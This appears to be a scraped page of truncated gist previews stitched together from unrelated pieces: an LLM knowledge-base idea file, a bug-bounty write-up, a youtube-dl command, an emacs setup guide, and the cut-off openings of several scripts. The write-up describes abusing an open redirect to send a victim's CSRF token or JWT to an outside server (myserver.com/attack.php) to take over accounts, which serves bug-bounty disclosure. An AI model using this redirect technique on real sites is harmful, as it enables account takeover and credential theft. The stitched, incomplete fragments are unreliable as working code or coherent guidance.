Ivan Verevkin idoo

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

You do not need to run 80 reconnaissance tools to get access to user accounts

An open redirect was almost everything I needed in two different bug bounty programs to get access to user accounts. In one of the cases a JWT was leaked, and in the other the CSRF token was leaked. The issue was mostly the same in both cases: not validating, or URI encoding, user input in the client-side, and sending sensitive information to my server using an open redirect.

CSRF token bug

There is an open redirect on https://example.com/redirect?url=https://myserver.com/attack.php
User loads https://example.com/?code=VALUE
Javascript code in https://example.com/ makes a GET request to https://example.com/verify/VALUE with a header x-csrf-token set to the CSRF token for the session of the user
```
GET /verify/VALUE HTTP/1.1
Host: example.com
```

Let's imagine we have a lot of mp3 files ( forexample one of the pluralsite courses converted to mp3 ).

URL=https://www.pluralsight.com/courses/run-effective-meetings
PASS=pass
USER=user
OUTPUT="%(playlist_index)s. %(title)s-%(id)s.%(ext)s"
youtube-dl --username $USER --password $PASS -o $OUTPUT --extract-audio --audio-format mp3 $URL

Adding automatic light/dark theme switching to doom-emacs running on a mac with ambient light sensor.

Idea adapted from: Matt Bilyeu https://matthewbilyeu.com/blog/2018-04-09/setting-emacs-theme-based-on-ambient-light

Installation

Make the lmutracker executable using clang and place it in your custom doom directory:

$ cd ~/.doom.d/    # start in your custom doom directory, wherever that is for you.

$ touch lmutracker.mm # copy in the contents of this file however you like

	import openai
	import boto3
	import json
	import time
	from typing import Dict, List

	openai.api_key = '### SET YOUR OPENAPI API KEY HERE ###'
	session = boto3.session.Session()
	client = session.client('iam')

	// Variables used by Scriptable.
	// These must be at the very top of the file. Do not edit.
	// icon-color: orange; icon-glyph: quote-right;

	// Change these to your usernames!
	const user = "spencer"

	const jike = "4DDA0425-FB41-4188-89E4-952CA15E3C5E"
	const telegram = "realSpencerWoo"
	const github = "spencerwooo"

	#!/bin/bash
	set -u

	##############################################################################
	# DEPRECATION NOTE
	#
	# This script is outdated. Use it at your own risk.
	# First, it has a bug related to the option -o (basically, it does nothing).
	# Second, there is a new github repo with a new version, with no known bugs
	# and with improved features:

	{
	"BTTPresetName" : "podkovyr-btt-preset",
	"BTTPresetUUID" : "4DA9BBE8-9392-4B6C-A22B-AAF8189CE7C1",
	"BTTPresetContent" : [
	{
	"BTTAppBundleIdentifier" : "BT.G",
	"BTTAppName" : "Global",
	"BTTAppSpecificSettings" : {

	},

	#!/usr/bin/env ruby
	require 'net/http'
	require 'json'
	require 'time'

	# Replace YOUR_API_KEY with your Codeship API key
	API_KEY = 'YOUR_API_KEY'

	# Change this to ['repository/name', 'repository/name2'] if you want to filter only specific projects
	PROJECTS = nil

	This project has been moved to a GitHub repository to allow Pull Requests.
	See: https://github.com/Ewpratten/youtube_ad_blocklist